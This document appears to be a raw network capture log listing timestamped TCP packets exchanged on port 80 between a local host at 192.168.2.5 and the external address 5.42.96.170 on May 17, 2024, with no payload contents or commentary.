May 17, 2024 23:45:15.928666115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928666115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928666115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928679943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928755045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928755045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929013014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929332972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929342031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929349899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929358959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929368019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929375887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929385900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929395914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929405928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929414988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929424047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929439068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929450035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929450035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929450035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929450035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929461002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929471016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929481030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929488897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929497957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929506063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929506063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929506063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929506063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929517984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929527998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929538012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929547071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929555893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929568052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929574013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929574013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929574013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929589987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929600000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929610014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929610014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929627895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929636955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.929647923 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929682016 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.929682016 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.930193901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930203915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930212975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930222988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930232048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930243015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930252075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930262089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.930314064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.930314064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.930314064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.930314064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.930314064 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.934956074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935024023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935034037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935041904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935051918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935081005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.935121059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.935165882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935175896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935184956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935214996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.935233116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.935245991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935262918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.935331106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.935331106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.961114883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.961580038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.075911999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.075927019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076035976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076076031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076124907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076124907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076124907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076142073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076153040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076179981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076220036 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076272011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076282978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076292038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076363087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076363087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076363087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076373100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076384068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076392889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076518059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076529026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076538086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076549053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076664925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076675892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076683998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076694012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076705933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076705933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076705933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076705933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076705933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.076716900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076728106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.076736927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077104092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077114105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077122927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077131033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077142954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077142954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077142954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077142954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077142954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077152967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077162981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077172041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077182055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077193022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077203989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.077250004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077250004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077250004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077250004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.077250004 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.081908941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081918955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081927061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081935883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081944942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081954956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081964016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081974030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081984043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.081993103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082003117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082011938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082024097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082034111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082034111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082034111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082034111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082034111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082052946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082062960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082070112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082070112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082077026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082086086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082094908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082104921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082117081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082129002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082139015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082148075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082158089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082166910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082178116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082178116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082178116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082178116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082178116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082189083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082197905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082211971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082222939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082231045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082243919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082252026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082262039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082271099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082282066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082282066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082282066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082282066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082282066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082293987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082304001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082312107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082319975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082319975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082329035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082339048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082348108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082360983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082376003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082385063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082395077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082402945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082402945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082402945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082402945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082402945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082416058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082426071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082433939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082443953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082453012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082463026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082472086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082484007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082492113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082503080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082503080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082503080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082503080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082503080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082515001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082525969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082536936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082536936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082542896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082551956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082561016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082571030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082580090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082588911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082597971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082609892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082618952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082627058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082627058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082627058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082627058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082644939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082659960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082659960 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082668066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082676888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082684994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082695961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082705021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082715988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082726955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082726955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082726955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082726955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082739115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082755089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082767010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082779884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082791090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082803011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082803011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082803011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082813978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082829952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082839012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082849979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082859993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082869053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082881927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082881927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082881927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082881927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082881927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082895041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082905054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082912922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082922935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082931995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082941055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082950115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082966089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082973957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082973957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082973957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082973957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082973957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.082987070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.082995892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083003998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083014011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083024025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083033085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083043098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083054066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083065033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083065033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083065033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083065033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083065033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083077908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083087921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083096027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083106041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083113909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083123922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083134890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083144903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083156109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.083183050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083183050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083183050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083183050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083183050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.083316088 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085740089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085751057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085760117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085768938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085778952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085788965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085798025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085808039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085853100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085853100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085853100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085853100 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085907936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085916996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085925102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085935116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085944891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085957050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085966110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085975885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085983992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.085992098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085992098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085992098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.085992098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086004019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086014986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086024046 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086024046 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086033106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086045980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086055040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086065054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086075068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086083889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086092949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086102009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.086110115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.086110115 CEST	49707	80	192.168.2.5	5.42.96.170
